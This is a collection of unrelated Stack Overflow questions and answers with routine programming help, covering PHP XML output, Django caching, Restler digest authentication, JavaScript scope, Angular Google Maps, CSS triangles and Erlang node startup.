_method:delete authenticity_token:V4BAH9wsDVWf/rbyd82BPGKN /OezuZdT62rI2GrPK8= </code></pre> <p>You can see how it's actually a post request, but under the form data, there's a variable called _method with the value delete.</p>
16536715	0	PHP generated XML parsing failed <p>In my CodeIgniter 2.x project with PHP 5.3.x I use following function to render Dom Document as XML response. Every things are goes fine. But generated XML parsing failed due to some malformed unexpected text (non-whitespace text outside root element).</p> <pre><code>function renderDOMAsXML(DOMDocument &amp;$dom, $format = true, $status = 200){ $dom-&gt;formatOutput = $format; $controller = &amp;get_instance(); $controller-&gt;output-&gt;set_status_header($status); $controller-&gt;output-&gt;set_header('Content-type: application/xml; charset=utf-8'); $controller-&gt;output-&gt;set_output($dom-&gt;saveXML()); } </code></pre> <p>for my curiosity I decoded the malformed unexpected text (non-whitespace text outside root element) as hexadecimal format as following.</p> <pre><code>\x00ef\x00bb\x00bf\x00ef\x00bb\x00bf\x00ef\x00bb\x00bf\x00ef\x00bb\x00bf\x00ef\x00bb\x00bf </code></pre> <p>or </p> <pre><code>\x{00ef}\x{00bb}\x{00bf}\x{00ef}\x{00bb}\x{00bf}\x{00ef}\x{00bb}\x{00bf}\x{00ef}\x{00bb}\x{00bf}\x{00ef}\x{00bb}\x{00bf} </code></pre> <p>or like this</p> <pre><code>∩╗┐∩╗┐∩╗┐∩╗┐∩╗┐ </code></pre> <p>I could not realize what's the wrong. What are the malformed unexpected text (non-whitespace text outside root element)? are they any header information? How do I could skip them as I want to render it as XML response for browser.</p>
13046003	0	 <p><strong>yes</strong>. Don't see any point not to support it, documentation <a href="http://developer.android.com/guide/topics/resources/providing-resources.html" rel="nofollow">here</a> provides no restrictions on it (I myself at least have used -land qualifier)</p>
11118569	0	How do I keep a frame always on top within the application but put it to background when using other applications in Java? <p>My Java application has multiple frames. Some of them are set to be always on top. However, when the user opens another program (let's say a web browser), I want the always-on-top frames to move to the background, making way for the other application to fully show on screen. </p>
10992697	0	 <p>Change this</p> <pre><code>onclick= "SaveData();" </code></pre> <p>to </p> <pre><code>onclick= "SaveData(this);" </code></pre> <p>Then change the <code>saveData</code> function to</p> <pre><code>function SaveData(elem) { localStorage["LessonID"] = $(elem).attr('LessonID'); localStorage["SubjectName"] = $(elem).find('.lesson_subject').text(); } </code></pre> <p>Or even better, you can use <code>$.on</code> like @James Allardice showed in his answer.</p>
35840525	0	 <p>You could just simplify your query to:</p> <pre><code>WITH MyQueryAlias1 AS (30 minutes sql query here) SELECT q1.field1 FROM MyQueryAlias1 q1 JOIN MyQueryAlias1 q2 ON q1.field2 = q2.field3 </code></pre> <p>Which will get rid of the second sub-query factoring clause.</p> <p>This might also work:</p> <pre><code>WITH MyQueryAlias1 AS (30 minutes sql query here) SELECT field1 FROM MyQueryAlias1 WHERE LEVEL = 1 AND ( field2 = field3 OR CONNECT_BY_ISLEAF = 0 ) CONNECT BY NOCYCLE PRIOR field2 = field3 AND LEVEL = 2; </code></pre>
35385953	0	 <p>Firstly, it's the <em>view</em> rather than the <em>template</em> that you want to control HTTP caching on.</p> <p>The template is just a chunk of HTML that can be rendered by any view, the view is what sends an HTTP Response to the web browser.</p> <p>Django comes with some handy view decorators for controlling the HTTP headers returned by a view:<br> <a href="https://docs.djangoproject.com/en/1.9/topics/cache/#controlling-cache-using-other-headers" rel="nofollow">https://docs.djangoproject.com/en/1.9/topics/cache/#controlling-cache-using-other-headers</a></p> <p>You can find this simple example in the docs:</p> <pre><code>from django.views.decorators.cache import never_cache @never_cache def myview(request): # ... </code></pre> <p>If you are using 'class-based' views rather than simple functions then there's a <a href="https://gist.github.com/cyberdelia/1231560" rel="nofollow">gist here</a> with an example of how to convert this decorator into a view Mixin class:</p> <pre><code>from django.utils.decorators import method_decorator from django.views.decorators.cache import never_cache class NeverCacheMixin(object): @method_decorator(never_cache) def dispatch(self, *args, **kwargs): return super(NeverCacheMixin, self).dispatch(*args, **kwargs) </code></pre> <p>...which you'd use in your project like:</p> <pre><code>from django.views.generic.detail import DetailView class ArticleView(NeverCacheMixin, DetailView): template_name = "article_detail.html" queryset = Article.objects.articles() context_object_name = "article" </code></pre>
39969247	0	 <p>You have to answer twice, about where to install Java. If you want to use your own directories, instead of Windows's, you have to set a separate directory for the JRE, which is what it wants to know, on the second ask. ORACLE's installer should have been done a little less ambiguously.</p> <p>If you try and answer the same directory, for the jre, as for the jdk, you won't have your jar.exe, or your src.zip folder. They are installed there, until it asks for the destination for the JRE. It might overwrite (remove all) the files in the root directory of the jre folder. In other words, that's the JRE1.8.0_102's bin folder in the root folder of your JDK, now, thanks to the installer.</p>
28991120	0	 <pre><code> #messydata.txt : created by copying/pasting the line above into a textfile. #Load Table into R data1 &lt;- read.table("messydata.txt", header=FALSE,sep=",", nrows=2, col.names=paste0("C", 1:16) ) #In col.names you can create the column names you want C1 C2 C3 C4 C5 C6 C7 C8 C9 C10 C11 C12 C13 C14 C15 C16 1 48.25 4.25 19890000 2.60 5.89 1.28 0.02 0 0 0.42 3575 0 -0.40 2.60 2.57 6.48 2 50.00 6.00 19890000 3.55 5.42 2.31 0.42 0 0 0.15 2420 0 0.27 3.55 2.00 7.80 #Option 1- Bind your two tables cbind(data1, icp) #option 2- Join tables if you have a key Variable "ID" require(plyr) newdata&lt;- join(x=data1, y=icp, by = "ID") #The ID can have a different name in x and y. </code></pre>
19429905	0	 <p><code>{username:kavi}</code> is not JSON. Strings must be quoted with <code>"</code> characters. <a href="http://jsonlint.com/" rel="nofollow">Test</a> your JSON (better yet: don't handcraft it in the first place).</p>
6304763	0	 <p>With this information, I say this structure looks fine.</p> <p>You might also consider creating a separate ServiceModel assembly to store all your custom behavior and WCF. They could then be reused for other projects</p>
18249117	0	How to deploy web project on remote tomcat server outside Eclipse with .jar files in it <p>I have Rest <strong>API Project A</strong> which uses Project B and Project C for Database retrieval</p> <p><strong>Project B</strong>, <strong>Project c</strong> In which JPA is used for DB. Project A is working in Eclipse as i have added Project B and Project C's dependency at following places: </p> <ol> <li>Properties -> <strong>Deployment Assembly</strong>--> Add -> Project B and C</li> <li><strong>Debug Configurations</strong> -> Classpath -->User Entries --> Add Projects B and C which includes all .jars of B and C automatically</li> <li>Added project B and C to <strong>Projects--> Properties</strong></li> </ol> <p>Now i want my web project to run on <strong>Localhost without Eclipse.</strong></p> <p>I made ProjectA.war file and put it in tomcate's webapps folder and run tomcat.</p> <p>It performs normal function like if i want to print Hello. it does..</p> <p>But when i try to run any function which in turn call project B and C's function which has query to Database JPA its Not working.It doesn't return any data.</p> <p>After Deploying .war in tomcat In Project A <code>webapps\ProjectA\WEB-INF\lib</code> only .jar which i added in <code>Properties -&gt; Deployment Assembly--&gt; Add -&gt; Project B and C</code> Appears.</p> <p>How can i make it work to use project B and C also. Please Help what .jars or dependencies should i also need to include and where??</p>
7871219	0	 <h3>Header Authentication</h3> <p>there are three ways to do it</p> <ol> <li>HTTP Basic Authentication</li> <li>HTTP Digest Authentication</li> <li>Roll our own using custom HTTP headers</li> </ol> <p>You can read more from <a href="http://php.net/manual/en/features.http-auth.php" rel="nofollow">PHP Manual</a></p> <p>Restler 1.0 had a Digest Authentication example. I've modified to make it work with Restler 2.0</p> <pre><code>class DigestAuthentication implements iAuthenticate { public $realm = 'Restricted API'; public static $user; public $restler; public function __isAuthenticated() { //user =&gt; password hardcoded for convenience $users = array('admin' =&gt; 'mypass', 'guest' =&gt; 'guest'); if (empty($_SERVER['PHP_AUTH_DIGEST'])) { header('HTTP/1.1 401 Unauthorized'); header('WWW-Authenticate: Digest realm="'.$this-&gt;realm.'",qop="auth",nonce="'. uniqid().'",opaque="'.md5($this-&gt;realm).'"'); throw new RestException(401, 'Digest Authentication Required'); } // analyze the PHP_AUTH_DIGEST variable if (!($data = DigestAuthentication::http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) || !isset($users[$data['username']])) { throw new RestException(401, 'Wrong Credentials!'); } // generate the valid response $A1 = md5($data['username'] . ':' . $this-&gt;realm . ':' . $users[$data['username']]); $A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']); $valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2); if ($data['response'] != $valid_response) { throw new RestException(401, 'Wrong Credentials!'); } // ok, valid username &amp; password DigestAuthentication::$user=$data['username']; return true; } /** * Logs user out of the digest authentication by bringing the login dialog again * ignore the dialog to logout * * @url GET /user/login * @url GET /user/logout */ public function logout() { header('HTTP/1.1 401 Unauthorized'); header('WWW-Authenticate: Digest realm="'.$this-&gt;realm.'",qop="auth",nonce="'. uniqid().'",opaque="'.md5($this-&gt;realm).'"'); die('Digest Authorisation Required'); } // function to parse the http auth header private function http_digest_parse($txt) { // protect against missing data $needed_parts = array('nonce'=&gt;1, 'nc'=&gt;1, 'cnonce'=&gt;1, 'qop'=&gt;1, 'username'=&gt;1, 'uri'=&gt;1, 'response'=&gt;1); $data = array(); $keys = implode('|', array_keys($needed_parts)); preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER); foreach ($matches as $m) { $data[$m[1]] = $m[3] ? $m[3] : $m[4]; unset($needed_parts[$m[1]]); } return $needed_parts ? false : $data; } } </code></pre>
3864427	0	Variables scope <p>I have two javascript files included at the header of my website. Both files contains almost same variables. </p> <p>If I have header like this </p> <pre><code> &lt;head&gt; &lt;script src="http://127.0.0.1/js/file1.js" type="text/javascript"&gt;&lt;/script&gt; &lt;script src="http://127.0.0.1/js/file2.js" type="text/javascript"&gt;&lt;/script&gt; &lt;/head&gt; </code></pre> <p>Is it possible to access vars defined in file1.js from file2.js ?</p> <p>This is what i`m trying</p> <pre><code> file1 $(function() { var x = 1; }); file2 $(function() { console.log(x); //This dosen`t work. Can`t access var }); </code></pre>
35380050	0	 <pre><code>#app/models/notification.rb class Notification &lt; ActiveRecord::Base belongs_to :device, foreign_key: :registration_id, primary_key: :token delegate :user, to: :device #-&gt; notification.user.name end #app/models/device.rb class Device &lt; ActiveRecord::Base belongs_to :user has_many :notifications, foreign_key: :registration_id, primary_key: :token end #app/models/user.rb class User &lt; ActiveRecord::Base has_many :devices has_many :notifications, through: :devices end </code></pre> <p>The above is how I would perceive it to be set up.</p> <p>You'll be able to call:</p> <pre><code>@notification = Notification.find params[:id] @notification.device.user.name #-&gt; "name" of associated "user" model @notification.user.name #-&gt; delegate to "user" model directly </code></pre> <hr> <p>The <a href="http://apidock.com/rails/Module/delegate" rel="nofollow"><code>delegate</code></a> method is a trick to circumvent the <a href="https://en.wikipedia.org/wiki/Law_of_Demeter" rel="nofollow"><code>law of demeter</code></a> issue (calling an object several levels "away" from the parent).</p>
38287494	0	 <p>Because python uses references for arrays, objects, etc. If you want a copy of the array use <code>copy</code>:</p> <pre><code>import copy b = copy.copy(a) </code></pre>
10368214	0	 <p>It's pretty late, but I got around a similar problem using masking</p> <p><a href="http://www.aurelienribon.com/blog/2011/07/box2d-tutorial-collision-filtering/" rel="nofollow">http://www.aurelienribon.com/blog/2011/07/box2d-tutorial-collision-filtering/</a></p> <p>cheers.</p>
3446579	0	How to use Windows Biometric Framework (WBF) in WPF application? <p>I'm working on WPF application which should identify user using Fingerprint Reader. </p> <p>It seems Windows Biometric Framework (WBF) is good enough for this task but I can't found examples where I can see how it can be used in my WPF application. Couple found examples use WBF to verify user currently logged in.<br> But my application should work with custom users and windows authentication is not acceptable.<br> I found also small MSDN article where described three sensor pools, one of them should be used in my situation. It is not clear how I can move Fingerprint Reader device between pools, where to get C# wrapper for Biometric API and how all of these things can be used together.</p> <p>I'm using UPEK Eikon as fingerprint reader device and Windows7 based tablet PC where my application should run.</p> <p>Could you please help and give me examples and links on useful resources? Thanks Dmitry</p>
30753782	0	 <h2>CSS</h2> <p>This is due to the border having to fit in with whatever the triangles height is. Just change with the width in <code>.triangle-left</code> and you will see the responsiveness.</p> <p>It will only resize up to 500px high though but this should be more than adequate.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.contain { width: 100%; } /*Left pointing*/ .triangle-left { width: 5%; height: 0; padding-top: 5%; padding-bottom: 5%; overflow: hidden; } .triangle-left:after { content: ""; display: block; width: 0; height: 0; margin-top:-500px; border-top: 500px solid transparent; border-bottom: 500px solid transparent; border-right: 500px solid #4679BD; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="contain"&gt; &lt;div class="triangle-left"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre> </div> </div> </p> <h2>SVG</h2> <p>The SVG version just requires positioning.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.contain { height: 30px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="contain"&gt; &lt;svg width="100%" height="100%" viewBox="0 0 500 500"&gt; &lt;polygon points="0,250 500,0 500,500" style="fill:red;stroke:black;stroke-width:2" /&gt; &lt;/svg&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
23642620	0	 <p>Yes. Something like this:</p> <pre><code>function whereami(elem) { var par = elem.parentNode, sibs = par.children, l = sibs.length, i; for( i=0; i&lt;l; i++) { if( sibs[i] === elem) return i; } throw "I am invisible!"; } </code></pre>
27018254	0	 <p>In <code>SwipListView.java</code> change</p> <pre><code> case MotionEvent.ACTION_UP: case MotionEvent.ACTION_CANCEL: log("============ACTION_UP"); clearPressedState(); if (mIsShown) { hiddenRight(mPreItemView); } </code></pre> <p>to</p> <pre><code> case MotionEvent.ACTION_UP: showRight(mCurrentItemView); case MotionEvent.ACTION_CANCEL: log("============ACTION_UP"); clearPressedState(); if (mIsShown) { if ( mPreItemView != null) hiddenRight(mPreItemView); } </code></pre>
20116912	0	 <p>A very simple GUI application is possible sticking with C and Windows API only.</p> <p>In short, you have to register your own Window class (<code>RegisterClassEx</code>), then create the window (<code>CreateWindowEx</code>). Note that your window class main element is its (<code>WindowProc</code>) that receive the messages and that you have to implement to act as you want. After that, your C program should run the message pump (<code>PeekMessage</code> and <code>DispatchMessage</code>) for Windows to do its stuff and allow interacting with your window.</p> <p>See the MSDN documentation for these functions to get help and examples.</p>
31843347	0	Dynamically update position on Angular-Google-Maps-Native <p>Using the Angular-Google-Maps-Native plugin, when I change the information in JavaScript, my map is not updating. I believe my problem is the $scope for the map, versus the controller I am running.</p> <p><a href="https://i.stack.imgur.com/C2Rrp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/C2Rrp.png" alt="Missing Title that is Hard Coded"></a></p> <p>Sub Sample of HTML</p> <pre><code>&lt;md-content flex id="content" class="md-whiteframe-z2"&gt; &lt;div ng-init="coords={latitude: false, longitude: false}"&gt; &lt;gm-map options="{center: [{{ScheduleCard.Latitude}}, {{ScheduleCard.Longtitude}}], zoom: 13, mapTypeId: google.maps.MapTypeId.ROADMAP}"&gt; &lt;gm-marker options="{position: [{{ScheduleCard.Latitude}}, {{ScheduleCard.Longtitude}}], draggable: false}"&gt; &lt;gm-infowindow options="{content: '{{ScheduleCard.VenueName}}'}"&gt;&lt;/gm-infowindow&gt; &lt;/gm-marker&gt; &lt;/gm-map&gt; &lt;/div&gt; &lt;/md-content&gt; </code></pre> <p>Sample of JavaScript controller</p> <pre><code>angular.module('MyApp').controller('ScheduleCtrl', ["$scope", ... function($scope, ...) { //code here to load from Firebase $scope.ScheduleCard = {}; $scope.ScheduleCard.VenueName = ''; $scope.ScheduleCard.Latitude = 43.630; // Initial Area $scope.ScheduleCard.Longtitude = -79.699; // reposition map based on this data $scope.LoadScheduleCard = function(ScheduleInfo) { $scope.ScheduleCard.VenueName = ScheduleInfo.VenueName; $scope.ScheduleCard.Latitude = ScheduleInfo.Latitude; $scope.ScheduleCard.Longtitude = ScheduleInfo.Longtitude; }; </code></pre> <p>Aditional side menu code for LoadScheduleCard()</p> <pre><code>&lt;!-- Container #3 --&gt; &lt;md-sidenav md-is-locked-open="true" class="md-whiteframe-z2"&gt; &lt;md-list&gt; &lt;md-list-item class="md-3-line" ng-repeat="schedule in Schedules" md-ink-ripple layout="row" layout-align="start center"&gt; &lt;md-item-content&gt; &lt;div class="inset" ng-click="LoadScheduleCard(schedule)"&gt; &lt;ng-md-icon icon="today"&gt;&lt;/ng-md-icon&gt; &lt;b class="md-subhead"&gt; {{schedule.GameDate | SLS_Date}} @ {{schedule.GameTime | SLS_Time:'hh:mm'}}&lt;br /&gt; &lt;ng-md-icon icon="place"&gt;&lt;/ng-md-icon&gt; {{schedule.VenueName}}&lt;br /&gt; &lt;ng-md-icon icon="games"&gt;&lt;/ng-md-icon&gt; {{schedule.HomeTeamName}} vs. {{schedule.AwayTeamName}}&lt;br /&gt; &lt;ng-md-icon icon="thumb_up" ng-show="schedule.Wins &gt; 0"&gt;&lt;/ng-md-icon&gt; &lt;ng-md-icon icon="thumb_down" ng-show="schedule.Losses &gt; 0"&gt;&lt;/ng-md-icon&gt; &lt;ng-md-icon icon="thumbs_up_down" ng-show="schedule.Ties &gt; 0"&gt;&lt;/ng-md-icon&gt; &lt;/b&gt; &lt;/div&gt; &lt;/md-item-content&gt; &lt;md-divider&gt;&lt;/md-divider&gt; &lt;/md-list-item&gt; &lt;/md-list&gt; &lt;/md-sidenav&gt; </code></pre>
10729025	0	 <p>edit or create a .profile in your home directory and add:</p> <pre><code>export PATH=/usr/local/mysql/bin:$PATH </code></pre> <p>Open a new terminal window for the changes to take effect.</p> <p>In general you shouldn't use root. You can change the username in MySQL 5.02 or higher:</p> <pre><code>mysql&gt; RENAME USER root TO new_user; </code></pre> <p>To delete a user:</p> <pre><code>mysql&gt; DROP USER user; </code></pre>
6054281	0	Javascript alert() after Response.Redirect <p>I am calling this in my code behind: </p> <pre><code>(test.aspx) Response.Redirect("~/Default.aspx"); </code></pre> <p>I want to include a javascript alert after/before being redirected to Default.aspx, is it possible? I'm doing this because I'm passing a value to another page (test.aspx) and that page checks the db, if reader HasRow(), then redirect to Default.aspx. </p>
34961752	0	How do i programmatically click a button with C# in IE by classname? <p>So i'm trying to create a code which will automatically click buttons for me in my <code>webBroswer1</code> object in my visual studio C# Windows form application.</p> <p>However, the buttons in the website i would want to click do not have IDs, therefore it'd need to be my href/classname</p> <p>The tag of the buttons is <code>&lt;a&gt;</code>and the href is <code>javascript:void(0)</code>, could someone assist me please?</p>
13900558	0	 <p>You call a class method by appending the class name likewise:</p> <pre><code>class.method </code></pre> <p>In your code something like this should suffice:</p> <pre><code>Test.static_init() </code></pre> <p>You could also do this:</p> <pre><code>static_init(Test) </code></pre> <p><strong>To call it inside your class</strong>, have your code do this:</p> <pre><code>Test.static_init() </code></pre> <p><strong>My working code:</strong></p> <pre><code>class Test(object): @classmethod def static_method(cls): print("Hello") def another_method(self): Test.static_method() </code></pre> <p>and <code>Test().another_method()</code> returns <code>Hello</code></p>
10390148	0	 <p>I asked this very question during a Hangout with the guys from Google. They said they weren't aware of any limit.</p> <p>My company has going on for nearly 300 apps now.</p>
27919713	0	 <p><strong>To reflect the status as of 2015:</strong></p> <p>Behaviorally both 400 and 422 response codes will be treated the same by clients and intermediaries, so it actually doesn't make a <em>concrete</em> difference which you use.</p> <p>However I'd expect to see 400 currently used more widely, and furthermore the clarifications that the <a href="http://tools.ietf.org/html/draft-ietf-httpbis-p2-semantics-26#section-6.5.1">HTTPbis spec</a> provides make it the more appropriate of the two status codes:</p> <ul> <li>The HTTPbis spec clarifies the intent of 400 to not be solely for syntax errors. The broader phrase "indicates that the server cannot or will not process the request due to something which is perceived to be a client error" is now used.</li> <li>422 Is specifically a WebDAV extension, and is not referenced in RFC 2616 or in the newer <a href="http://tools.ietf.org/html/draft-ietf-httpbis-p2-semantics-26#section-6.5.1">HTTPbis specification</a>.</li> </ul> <p>For context, HTTPbis is a revision of the HTTP/1.1 spec that attempts to clarify areas that where unclear or inconsistent. Once it has reached approved status it will supersede RFC2616.</p>
5076705	0	Is it possible to upload files to Rackspace Files Cloud from browser? <p>Is it possible to upload files to Rackspace Files Cloud from browser like in Amazon S3?</p>
21246542	0	 <p>Really no need to put the number of searches. And, actually this could be done<br> with a single regex. I can't remember if Dot-Net supports the <code>\G</code> anchor,<br> but this is really not necessary anyway. I left it in. </p> <p>Each Match:<br> Finds a new key.<br> Captures the keys sub-string matches at the end.<br> Advances the search position by just the key. </p> <p>So, sit in a Find loop.<br> On each match print the 'Key' capture buffer,<br> then print the capture collection 'Values' count. </p> <p>Thats all there is to it. </p> <p>The regex will search for overlapping keys. To change it to exclusive keys,<br> change the <code>=</code> to <code>:</code> as shown in the comments. </p> <p>You can also make it a little more specific. For example, change all the <code>\w</code>'s to <code>[A-Z]</code>, etc... </p> <p>The regex: </p> <pre><code> (?: ^ [ \d]* | \G ) (?&lt;Key&gt; \w+ ) #_(1) [ ]+ (?= (?: \w+ [ ]+ )* (?= \w ) (?: (?= # &lt;- Change the = to : to get non-overlapped matches (?&lt;Values&gt; \1 ) #_(2) ) | . )* $ ) </code></pre> <p>This is a perl test case </p> <pre><code> # $str = '2 6 AA TT PP AAATTCGAA'; # $count = 0; # # while ( $str =~ /(?:^[ \d]*|\G)(\w+)[ ]+(?=(?:\w+[ ]+)*(?=\w)(?:(?=(\1)(?{ $count++ }))|.)*$)/g ) # { # print "search = '$1'\n"; # print "found = '$count'\n"; # $count = 0; # # } # # Output &gt;&gt; # # search = 'AA' # found = '3' # search = 'TT' # found = '1' # search = 'PP' # found = '0' # # </code></pre>
13282015	0	 <p>The right way to do it might be:</p> <pre><code>(defun my-grep-select(&amp;optional beg end) (interactive (if (use-region-p) (list (region-beginning) (region-end)) (list &lt;wordbegin&gt; &lt;wordend&gt;))) ...) </code></pre>
6574123	0	 <p>If you use jquery datatables you can do something like this in your click event:</p> <pre><code>var columnIndexToSort = 0, sortAcending = true; $("#table").fnSort([[columnIndexToSort, sortAcending ? 'asc' : 'desc']]); </code></pre> <p>This will cause jquery datatables to sort and redraw the table for you. The jquery datatables plugin is very powerful and I find it harder to find something it can't do rather than something it can.</p>
10569200	0	How to reset to default button BackColor? <p>I was experimenting with different options for the button background color and ended up changing the <code>BackColor</code> property in the Appearance category. I then changed it back to what it is by default which is <code>Control</code>, but it still looks different from other buttons:</p> <p><img src="https://i.imgur.com/NuiXW.png" alt="Screenshot of buttons"></p> <p>I've tried building the project and restarting Visual Studio, but it did not help.</p> <p>I know I can just drag another button and copy/paste code, but what causes this in the first place and how do I properly fix it?</p>
7515088	0	 <p>All normal Bluetooth keyboards implement the HID profile, which requires an L2CAP connection. Android so far only provides the ability to use RFCOMM connections. You would need to use the Native Development Kit and write your keyboard code in C to using bluez to achieve your goal. Have a look at apps that use the Nintendo WiiMote. The WiiMote also implements the HID profile.</p>
13777138	0	 <p>When passing parameters into a macro, you should only need to access them with <code>@Parameter</code>. So in this case it would be <code>@Parameter.videoUrl</code>.</p> <p>Also, don't forget that you will need to add the parameter to the macro definition in Umbraco itself in the <em>Developers > Macros</em> section.</p>
22255931	0	Are git branch deletions permanent? <p>Just wondering if there's a way to recover them after they've been deleted. I'm assuming here that I've deleted it both locally and remotely.</p>
1467979	0	 <p>Thanks for the answers -- I've now decided to take the easy route and put all my web files in a TrueCrypt volume that I'll mount whenever I need to work on any local web sites, together with any database data. This is definitely the safest as far as I can see.</p>
25165198	0	 <p>i am using date() easy to handle and formating</p> <pre><code>$date = date('Y-m-d H:i',strtotime('2014-08-29')); echo "&lt;option value='".$date."'&gt;" . $date . "&lt;/option&gt;"; </code></pre>
19228211	0	 <p>Take a look on that script: <a href="https://github.com/CardinalPath/gas/blob/master/src/plugins/max_scroll.js" rel="nofollow">https://github.com/CardinalPath/gas/blob/master/src/plugins/max_scroll.js</a> Regards</p>
26956926	0	matplotlib not share axis x with many sub plots <p>I want to draw a chart with several sub-charts. The axes X have different lengths. The shape will be like:<br> subchart 1: ---------<br> subchart 2: --------------<br> subchart 3: ------------------ </p> <p>But i don't know how.</p>
15338972	0	erlang distributed programming <p>I have an application which has the following requirement.</p> <p>During the running of my Erlang App. on the fly I need to start one or more remote nodes either on the local host or a remote host.</p> <p>I have looked at the following options</p> <p>1) For starting a remote node on the local host either use the slave module or the net_kernel:start() API. However with the latter , there seems to be no way to specify options like boot script file name etc.</p> <p>2) In any case I don't need the slave configuration as I need to mimic similar behaviour of nodes spawned on local as well as remote hosts. In my current setup, I dont have permissions to rsh to the remote host. The workaround i can think of is to have a default node running on the remote host so as to enable remote node creation either through spawn or rpc:async_call and os:cmd combination</p> <p>Is there any other API interface to start erl ?</p> <p>I am not sure this is the best or the cleanest way to solve this problem and I would like to know the Erlang approach to the same?</p> <p>Thanks in advance</p>
18228542	0	 <p>Looks fine too me. Why don't you try to use a DURATION (<a href="http://tools.ietf.org/html/rfc5545#section-3.8.2.5" rel="nofollow">RFC5545#section-3.8.2.5</a>) instead of a DTEND, e.g.</p> <pre><code>DURATION:PT1H </code></pre> <p>for a 1 hour event.</p>
13935816	0	UIActivityViewController change shared via iOS <p>I have simple sharing features in my app by using iOS 6 UIActivityView controller.</p> <p>When sharing in Facebook or Twitter there is a "shared via iOS"</p> <p>the code is:</p> <pre><code>NSString *textToShare = @"Test string to share"; UIActivityViewController *activityViewController = [[UIActivityViewController alloc] initWithActivityItems:[NSArray arrayWithObject:textToShare] applicationActivities:nil]; [self presentViewController:activityViewController animated:YES completion:nil]; </code></pre> <p>is there any way to change "Shared via iOS" to my app name or anything else?</p> <p><img src="https://i.stack.imgur.com/ClWbg.png" alt="shareviaios"></p> <p>Thanks, Bill.</p>
18304309	0	 <p>The problem is that the <code>InPageAppender</code> relies on log4javascript's own page load handling code to know whether it can start drawing itself. When loaded via RequireJS, the page is already loaded and log4javascript's page load handling code never runs.</p> <p>You can get around this by calling <code>log4javascript.setDocumentReady()</code>. The most sensible place to do this would seem to be in the shim <code>init()</code> function, but I'm no expert in RequireJS so there may be a better way:</p> <pre><code>requirejs.config({ shim: { 'log4javascript': { exports: 'log4javascript', init: function() { log4javascript.setDocumentReady(); } } } }); </code></pre>
30979260	0	 <p>In ANSI standard SQL, you can do:</p> <pre><code>select (extract(year from col)*100000 + extract(month from col)*100 + extract(day from col)*1 + (extract(hour from col)*3600 + extract(minute from col)*60 + extract(second from col)) / (24.0*60*60) ) </code></pre>
7271552	0	How to store the cookie info when android killed my app <p>I have an app need login, I use a singleton http client to do everything, so it can track the cookies for me.</p> <p>But when I launch a browser intent in my app to view some html pages, the app sometimes be killed by low memory, when user come back from the browser, my app activity would be recreated, but the new http client would not contains that login session id.</p> <p>So I think what I need is to cache the cookies when my app get killed, and then restore it back when the app got recreated. I know there is a CookieSyncManager, but I do not have a full picture of how to use that.</p> <p>(1) So How can I do that? is Cookie seralizable, I just thought to cache it in the sdcard, maybe a bad idea.</p> <p>Another more general question maybe: </p> <p>(2) How to share httpclient with webview/system browser? Not just pass cookies from httpclient to webiew/browser, but also get the cookies when initialize the cookies, How to make the http client and webview/browser share just <em>ONE</em> copy of cookie store in any time?</p>
24283752	0	 <p>I believe I've seen this issue upon trying to playback via the simulator vs. on an actual device. Similar to the following <a href="http://stackoverflow.com/questions/22569013/rtcreporting-pancake-apple-com-errors">post</a></p>
26246159	0	Panorama 360 viewer with phonegap <p>I read a lot of answers but i dont know wich is correct. Almost mobile browsers doesn support WEBGL, only newest. Almost script, libraries or plugins works with FLASH or WEBGL. I see and read a lot of your documentations and i dont know what to do. I need compatibility with almost smartphones in android and ios. I wanna use PHONEGAP platform to buil the app. Can you guide me? Thanks a lot</p>
26323531	0	 <p>i just add class ="draggable" to my clones. you have to learn more about clones. But I hate clones. I use to copy html contents. You have to practice manipulation of object more deeply concerning clones. the best way to use anythings about jquery is var element = $('#element'). Thats it. Simple, fast copy. </p>
34101905	0	Span acting like div <p>I have this code, where I planned to have three spans side by side displaying the step a person is at signing up for my website. However, the spans are acting like divs and going onto the next line. I have no idea why this is happening. To my understanding, the spans should only take up the width they need, not an entire line</p> <pre><code> &lt;div class="row stepRow"&gt; &lt;div class="col-12-md "&gt; &lt;div id="stepDisplay"&gt; &lt;span class="stepBlock"&gt; &lt;h3 class="headerStep"&gt;Step 1&lt;/h3&gt; &lt;p class="descStep"&gt;Basic Details&lt;/p&gt; &lt;/span&gt; &lt;span class="stepBlock"&gt; &lt;h3 class="headerStep"&gt;Step 2&lt;/h3&gt; &lt;p class="descStep"&gt;More Details&lt;/p&gt; &lt;/span&gt; &lt;span class="stepBlock"&gt; &lt;h3 class="headerStep"&gt;Step 3&lt;/h3&gt; &lt;p class="descStep"&gt;Payment Details&lt;/p&gt; &lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>//in seperate css file</p> <pre><code>.stepBlock { display: display; text-align: center; } .headerStep .descStep { display: inline; } </code></pre>
12699884	0	 <p>Use the correct character set.</p> <pre><code>3&gt;&gt; print(bytes((219,)).decode('cp437')) █ 3&gt;&gt; ord(bytes((219,)).decode('cp437')) 9608 3&gt;&gt; hex(9608) '0x2588' 3&gt;&gt; print('\u2588') █ </code></pre> <p><a href="http://www.fileformat.info/info/unicode/char/2588/index.htm" rel="nofollow">Unicode Character 'FULL BLOCK' (U+2588)</a></p>
3312122	0	 <p>Well it depends how, or what your trying to accomplish, one way would be: </p> <pre><code>android:layout_height </code></pre> <p>But if you mean programmatically, check this:</p> <p><a href="http://stackoverflow.com/questions/2963152/android-how-to-resize-a-custom-view-programmatically">Android: How to resize a custom view programmatically?</a></p> <p>That talks about resizing, but it should be the same concept.</p>
